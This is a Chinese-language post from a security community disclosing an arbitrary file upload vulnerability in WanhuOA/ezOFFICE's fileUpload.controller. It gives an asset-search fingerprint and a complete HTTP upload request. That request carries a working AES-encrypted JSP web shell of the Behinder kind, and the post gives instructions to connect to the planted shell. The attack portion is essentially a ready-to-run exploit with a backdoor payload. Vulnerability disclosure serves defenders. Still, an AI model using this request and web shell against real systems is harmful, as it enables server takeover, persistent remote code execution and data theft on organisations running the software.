奇安信攻防社区-WanhuOA fileUpload.controller 任意文件上传漏洞

WanhuOA fileUpload.controller 任意文件上传漏洞

# WanhuOA fileUpload.controller 任意文件上传漏洞 ## 漏洞描述 WanhuOA fileUpload.controller 存在任意文件上传漏洞，攻击者通过漏洞可以上传任意文件 ## 漏洞影响 WanhuOA #...

WanhuOA fileUpload.controller 任意文件上传漏洞
======================================

漏洞描述
----

WanhuOA fileUpload.controller 存在任意文件上传漏洞，攻击者通过漏洞可以上传任意文件

漏洞影响
----

WanhuOA

网络测绘
----

app="Wanhu网络-ezOFFICE"

漏洞复现
----

产品页面

![img](https://shs3.b.qianxin.com/butian_public/f915125377418fdacd4bb9985afbf7aa04d2b25aeb75a.jpg)

发送请求包上传文件

```php
POST /defaultroot/upload/fileUpload.controller HTTP/1.1
Host: 
User-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:50.0) Gecko/20100101 Firefox/50.0
Accept-Encoding: gzip, deflate
Accept: */*
Connection: Keep-Alive
Content-Type: multipart/form-data; boundary=KPmtcldVGtT3s8kux_aHDDZ4-A7wRsken5v0
Content-Length: 773

--KPmtcldVGtT3s8kux_aHDDZ4-A7wRsken5v0
Content-Disposition: form-data; name="file"; filename="cmd.jsp"
Content-Type: application/octet-stream
Content-Transfer-Encoding: binary

<%@page import="java.util.*,javax.crypto.*,javax.crypto.spec.*"%><%!class U extends ClassLoader{U(ClassLoader c){super(c);}public Class g(byte []b){return super.defineClass(b,0,b.length);}}%><%if (request.getMethod().equals("POST")){String k="e45e329feb5d925b";/*......tas9er*/session.putValue("u",k);Cipher c=Cipher.getInstance("AES");c.init(2,new SecretKeySpec(k.getBytes(),"AES"));new U(this.getClass().getClassLoader()).g(c.doFinal(new sun.misc.BASE64Decoder().decodeBuffer(request.getReader().readLine()))).newInstance().equals(pageContext);}%>
--KPmtcldVGtT3s8kux_aHDDZ4-A7wRsken5v0--
```

![img](https://shs3.b.qianxin.com/butian_public/f861352cd9787b1d2fbd85473dd120968148acd92fced.jpg)

使用冰蝎连接木马 `/defaultroot/upload/html/xxxxxxxxxx.jsp`

![img](https://shs3.b.qianxin.com/butian_public/f83705711e63743c33742ab0911f4749b1dbdaf536079.jpg)

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发表于 2024-07-12 18:44:35
阅读 ( 979 )
分类：OA产品

WanhuOA fileUpload.controller 任意文件上传漏洞

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